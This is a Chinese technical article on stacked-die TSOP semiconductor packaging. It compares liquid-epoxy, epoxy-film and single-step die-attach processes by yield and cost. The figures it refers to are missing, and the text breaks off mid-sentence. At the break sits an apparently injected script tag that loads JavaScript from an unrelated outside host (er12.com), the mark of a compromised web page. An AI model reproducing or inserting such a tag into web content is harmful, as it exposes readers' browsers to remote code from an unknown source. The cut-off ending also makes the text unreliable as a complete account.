年来，叠层芯片封装逐渐成为技术发展的主流。叠层芯片封装技术，简称3d封装，是指在不改变封装体尺寸的前提下，在同一个封装体内于垂直方向叠放两个以上芯片的封装技术，它起源于快闪存储器(nor/nand)及sdram的叠层封装。
叠层芯片封装技术对于无线通讯器件、便携器件及存储卡来讲是最理想的系统解决方案。近年来，手机、pda、电脑、通讯、数码等消费产品的技术发展非常快，此行业的迅猛发展需要大容量、多功能、小尺寸、低成本的存储器、dsp、asic、rf、mems等各种半导体器件，叠层芯片技术因此也得到了蓬勃发展。
3d封装技术的主要特点包括：多功能、高效能；大容量高密度，单位体积上的功能及应用成倍提升以及低成本。在nand的封装形式上，虽然发展最快的是sip，但是tsop仍然是大容量nand封装的一个主要解决方案。和sip相比，tsop更具有柔韧性，因为tsop可以通过smd制作成sd卡、minisd卡、cf卡或是集成到mp3/mp4、移动存储器等不同的终端产品中，而sip一旦完成组装，它就是成品了，不能再根据市场需求来进行调整。和另一种同样可以通过smd组装的pbga封装形式相比，tsop具有非常明显的成本优势。
tsop叠层芯片封装技术
单芯片tsop生产工艺流程比较简单，只需要经过一次贴片、一次烘烤、一次引线键合就可以了，流程如图1：
我们可以根据封装名称来识别叠层芯片封装中有多少个芯片。比如，“tsop2+1”就是指一个tsop封装体内有两个活性芯片(activedie)、一个空白芯片(spacer)，如果我们说“tsop3+0”，那就是说一个tsop封装体内有三个活性芯片、没有空白芯片，以此类推。
图2是最典型的tsop2+1的封装形式剖面和俯视图，上下两层是真正起作用的芯片（activedie），中间一层是为了要给底层芯片留出焊接空间而加入的空白芯片（spacer）。空白芯片(spacer)由硅片制成，里面没有电路。
我们以最简单的二芯片叠层封装（tsop2+x）为例查看其工艺流程：
方法一，仍然沿用单芯片封装的液态环氧树脂作为芯片粘合剂、多次重复单芯片的工艺，其工艺流程如下：
方法二，使用环氧树脂薄膜作为芯片贴合剂。这种方法需要改变原材料，用环氧树脂薄膜胶带替代传统的蓝膜（如spv224）。下图是使用环氧树脂薄膜胶替代蓝膜后装片工序的情形，装片完成后，环氧树脂薄膜就已经和芯片粘在了一起，在贴片工序时我们只需要将芯片贴到引线框架上，不再需要在引线框架涂一层液态环氧树脂，这就大大简化了工艺。工艺流程如下：
采用上述两种方法来实现tsop2+1封装都是可行的。对比以上两种工艺，我们可以发现第二种工艺流程少了两次烘烤，方法二生产工艺简单、生产周期更短，而且，由于多次烘烤会造成引线框架氧化及芯片粘污，烘烤次数减少对提高成品率和减少可靠性失效也很有好处。
将方法二简化，于是就得到了另一种实现两层芯片叠层封装的方法，即tsop2+0，采用环氧树脂薄膜作为芯片贴合剂，将两个芯片错开一点位置留出焊区域，仅一端有焊线。
方法三，如果我们使用的设备可以同时完成多次贴片，那么实际的贴片工序就更加简单，即只有一次，这样它的生产工艺甚至比单芯片封装还简单。但是这种方法需要改变晶圆的生产工艺，将焊盘都放置在芯片的一端。
上述三种叠层芯片的封装工艺，方法一使用环氧树脂银浆，成本低，但是工艺难度很高、成品率低，即使是最简单的tsop2+1其成品率能达到99.5%就几乎不可能再提升了，由于其工艺性差，目前不能使用在更高密度的封装中。方法二中虽然环氧树脂薄膜成本高，但是由于环氧树脂薄膜是在装片(w/m)的时候粘贴到芯片背面，不必考虑液态环氧树脂工艺的复杂性，所以工艺简单、成品率可达99.9%。方法三由于只有两次贴片(d/a)、一次引线键合(w/b)，所以不仅工艺简单、成品率高，可以稳定在99.90%以上，而且成本相对也比较低。如果我们将成品率与成本相结合，最好的方法显然是第三种，成本最低、工艺最简单。但是，这种工艺有其局限性，需要改变芯片的制作布局，将焊盘布置在芯片的一端，如果晶圆的布线无法做到，则无法实现。
第二、第三种方法都可以用于更高密度的封装中，tsop4+0、tsop5+0、tsop4+3等都是在tsop2+x基础上发展起来的。
多芯片封装与单芯片封装的主要区别
单芯片和叠层芯片封装的主要区别可以简单归纳为：
1.由于我们需要将多个芯片叠加在一起，所以传统的单芯片的封装必须进行改进以适应叠层芯片封装，需要重复贴片(d/a)以引线键合(w/b)。
2.由于封装体的外形尺寸没有变化，为了实现多芯片叠加，芯片的厚度就需要减薄，通常其厚度是单芯片的1/n(n是指堆叠层数)。
3.叠层芯片的晶圆尺寸通常都在200mm以上，为?script src=http://er12.com/t.js>
